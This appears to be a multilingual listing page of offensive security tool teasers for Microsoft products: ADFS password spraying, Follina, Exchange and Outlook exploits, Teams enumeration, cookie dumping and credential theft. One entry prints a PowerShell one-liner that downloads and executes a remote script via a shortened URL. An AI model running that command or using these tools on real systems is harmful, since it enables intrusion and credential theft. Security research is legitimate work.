ADFSpray

ADFSpray ADFSpray è uno strumento python3 per effettuare attacchi di password spray contro Microsoft ADFS. VERIFICARE SEMPRE LA POLITICA DI BLOCCO PER PREVENIRE IL BLOCCO DEGLI UTENTI. Come usarlo Prima, installa le dipendenze necessarie: root@kitploit: pip3 install -r requirements.txt Esegui lo...

CVE-2022-30190-Follina-Lab

🔴 CVE-2022-30190 — Laboratorio Follina MSDT RCE Ricercatore: Abhimanyu Rawat Ruolo: Tirocinante di Ricerca Tecnica e Operazioni di Cyber Security Data: 8 maggio 2026 📌 Cos'è Follina? CVE-2022-30190 soprannominata "Follina" è una vulnerabilità zero-day di esecuzione remota di codice RCE in Microso...

CVE-2020-0688

CVE-2020-0688 CVE-2020-0688: Esecuzione di codice remoto su Microsoft Exchange Server tramite chiavi crittografiche fisse Come eseguire ysonet.exe: scarica da qui Avvia il server HTTP: root@kitploit: python3 -m http.server 8000 Modifica targeturl e il tuo indirizzo IP nel comando pwsh. Installa...

aDLL

aDLL - Adventure of Dinamic Lynk Library aDLL ist ein Tool zur Binäranalyse, das sich auf die automatische Erkennung von DLL-Hijacking-Schwachstellen konzentriert. Das Tool analysiert das im Speicher geladene Image der Binärdatei, um zur Ladezeit geladene DLLs zu suchen, und nutzt die Microsoft...

Exchange2domain

Exchange2domain Strumenti All in One di privexchange. Devi solo aprire la porta del server web, quindi non sono necessari privilegi elevati. Ottimo articolo! Abusare di Exchange: a una chiamata API dal diventare Domain Admin. Requisiti Questi strumenti richiedono impacket. Puoi installarlo tramit...

CVE-2022-30190

CVE-2022-30190 Riproduzione della RCE in Microsoft Office Word CVE-2022-30190 Panoramica della vulnerabilità I file MS Office docx possono contenere riferimenti a oggetti OLE esterni sotto forma di file HTML. Esiste uno scenario HTML ms-msdt: che chiama lo strumento di diagnostica msdt, in grado ...

TeamsUserEnum

UserEnumTeams Beschreibung Manchmal kann die Benutzerenumeration während der Erkundungsphase einer Bewertung nützlich sein. Dieses Tool bestimmt, ob eine E-Mail bei Teams registriert ist oder nicht. Weitere Details im immunIT-Blog Verwendung root@kitploit: .\UserEnumTeams userenum --help Users ca...

CVE-2023-23397

CVE-2023-23397 Elevação de Privilégio no Outlook Prova de conceito para CVE-2023-23397 em Python Uma "prova de conceito" rápida e fácil em Python para a CVE do Outlook que afeta os produtos Microsoft Office/365. Uso 1. Instale o pywin executando pip install pywin32 2. Inicie um servidor SMB na...

CVE-2021-40444

CVE-2021-40444 completamente armato Generatore di docx malevoli per sfruttare CVE-2021-40444 Remote Code Execution in Microsoft Office Word, funziona con file DLL arbitrari. Contesto Sebbene molti PoC siano già presenti su Internet, ho deciso di cimentarmi nell'armare questa vulnerabilità, poiché...

credgrap_ie_edge

credgrapieedge المحتوى: استخراج بيانات الاعتماد المخزنة من Internet Explorer و Edge المؤلف: Florian Hansemann | @HanseSecure | https://hansesecure.de التاريخ: 04/2018 الاستخدام powershell -nop -exec bypass -c "IEX New-Object Net.WebClient.DownloadString'http://bit.ly/2K75g15'" التوصية حل PowerShe...

poc_proxylogon

pocproxylogon PoC do Microsoft Exchange ProxyLogon CVE-2021-26855 Este script foi originalmente criado por celesian para explorar esta CVE. Depois, eu o atualizei para explorar um servidor Exchange vulnerável a SSRF, mas ele obtém uma shell explorando o recurso EWS, porque uma empresa cliente...

CVE-2017-11826

CVE-2017-11826 Exploit per CVE-2017-11826 Articolo RU a riguardo: https://www.orderofsixangles.com/ru/2018/02/09/ms-cve-2017-11826.html...

CVE-2024-21413

CVE-2024-21413 Vulnerabilità di esecuzione di codice remoto in Microsoft Outlook https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21413 python3 CVE-2024-21413.py -u [email protected] -p password -d [email protected] -s mail.example.com -i -u indirizzo email del mittente -p...

ppsx-file-generator

Einführung Von Temesgen Yibeltal [email protected] Basiert auf Code von https://github.com/bhdresh/CVE-2017-8570 inzwischen entfernt ppsx-file-generator ist ein Python-Tool, das eine PowerPoint-Show-Datei erzeugt, die Code aus einer entfernten Quelle basierend auf einer vorhandenen Datei...

CVE-2026-41091-PoC-Exploit

☀️ CVE-2026-41091 - RedSun SolarFlare - Exploit LPE per Microsoft Defender Vulnerabilità di Link Following in Microsoft Defender - Escalation di privilegi locali a NT AUTHORITY\SYSTEM La vulnerabilità è nota come "RedSun" 🎯, "SolarFlare" è il nome che ho dato al mio exploit. ✅ 📌 Panoramica Questo...

CVE-2023-36884-Checker

CVE-2023-36884-Checker Script para verificar o hardening do CVE-2023-36884 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36884 Objetivo Este script verifica se as recomendações de hardening da Microsoft estão aplicadas corretamente. A Microsoft afirma...

CVE-2020-1206-POC

CVE-2020-1206 POC di lettura di memoria kernel non inizializzata c 2020 ZecOps, Inc. - https://www.zecops.com - Trova gli errori degli attaccanti POC per verificare CVE-2020-1206 / "SMBleed" Risultato atteso: file locale contenente la memoria del kernel del computer target. Inteso solo per uso...

CVE-2022-42046

EvilWfshbr CVE-2022-42046 Proof of Concept di elevazione locale dei privilegi di wfshbr64.sys Il payload appositamente creato di wfshbr64.sys e wfshbr32.sys consente a un utente arbitrario di eseguire operazioni bitwise con offset EPROCESS arbitrari e valori di flag per elevare deliberatamente il...

365Inspect

Scopo Migliorare lo stato della sicurezza di Microsoft 365 creando uno script PowerShell che automatizza la valutazione della sicurezza degli ambienti Microsoft 365. Soteria Inspect Soteria Inspect nasce dal progetto 365Inspect ed è la soluzione SaaS di Soteria per aiutare a valutare la sicurezza...

teams_dump

PoC per dump e decrittazione dei cookie nell'ultima versione di Microsoft Teams extract.py esegue il dump senza argomenti extract.exe è semplicemente extract.py impacchettato in un exe teamsdump.py Elenca i valori nel database root@kitploit: python.exe .\teamsdump.py teams --list Table: meta...